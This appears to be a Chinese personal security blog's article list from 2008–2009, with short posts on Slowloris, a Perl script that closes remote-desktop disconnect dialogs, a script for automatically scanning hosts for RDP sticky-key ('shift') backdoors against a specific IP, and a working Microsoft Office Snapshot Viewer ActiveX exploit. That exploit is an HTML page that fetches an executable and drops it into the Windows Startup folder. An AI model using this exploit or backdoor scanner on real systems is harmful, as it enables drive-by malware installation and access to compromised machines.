老学究的三分田

文章列表

2009-07-03 18:46

limitipconn仅能对已经建立的连接做控制，Slowloris的连接处于建立中，所以对Slowloris攻击limitipconn应该是无能为力的

2008-10-07 21:29

#!/usr/bin/perl

use warnings;
use Win32::GUI;

use constant WM_CLOSE          => 16;

sub monitor {
    my $handle = Win32::GUI::FindWindow('', '中断远程桌面连接');
    Win32::GUI::SendMessage($handle, WM_CLOSE, 0, 0);
}

sub monitor1 {
    my $handle = Win32::GUI::FindWindow('', '断开 Windows 会话');
    W

阅读全文>>

类别：默认分类 | 评论(1) | 浏览()

3389的SHIFT后门自动扫描

2008-09-14 22:26

首先3389的SHIFT后门极少
其次大部分SHIFT后门都加密

所以手工一个一个尝试是挺傻的，写成自动扫描的话，还能让人忍受
下载ftp://ftp.microsoft.com/ResKit/win2000/roboclient.zip
smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d

shift_backdoor.txt：
job
{
connect("","","",1,1);
sleep(2000);
senddata("WM_KEYDOWN",16,2752513);
senddata("WM_KEYUP",16,3223977985);

阅读全文>>

类别：默认分类 | 评论(2) | 浏览()

Microsoft Office Snapshot Viewer ActiveX Exploit

2008-07-08 17:25

今天有人发了个Snapshot Viewer的ADV，结合CERT那篇dranzer.pdf，重现漏洞

EXP:

<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
var buf1 = 'http://127.0.0.1/a.exe';
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath = buf1;
obj.CompressedPath = buf2;
obj.PrintSnapshot();
</script>
</html>

阅读全文>>

类别：默认分类 | 评论(2) | 浏览()

New ActiveX Fuzzer

2008-07-04 10:16

http://www.cert.org/archive/pdf/dranzer.pdf

按照说明，集成了很多新的元素，功能大大超过COMRaider和Axman
尤其是关于“second-order”和“Initialization Parameters”，目前公开的资料还非常少

本来已经参考COMRaider和Axman写了一堆脚本，看来没有必要了，等Dranzer^_^

类别：默认分类 | 评论(1) | 浏览()

给生活添点料

2008-05-04 20:59

男人是不是越老越喜欢研究点啥？

类别：默认分类 | 评论(1) | 浏览()

个人档案

cloie
男, 40岁
上海虹口区
上次登录：
1天前

加为好友

送他礼物

发送消息

给他留言

文章分类

默认分类(6)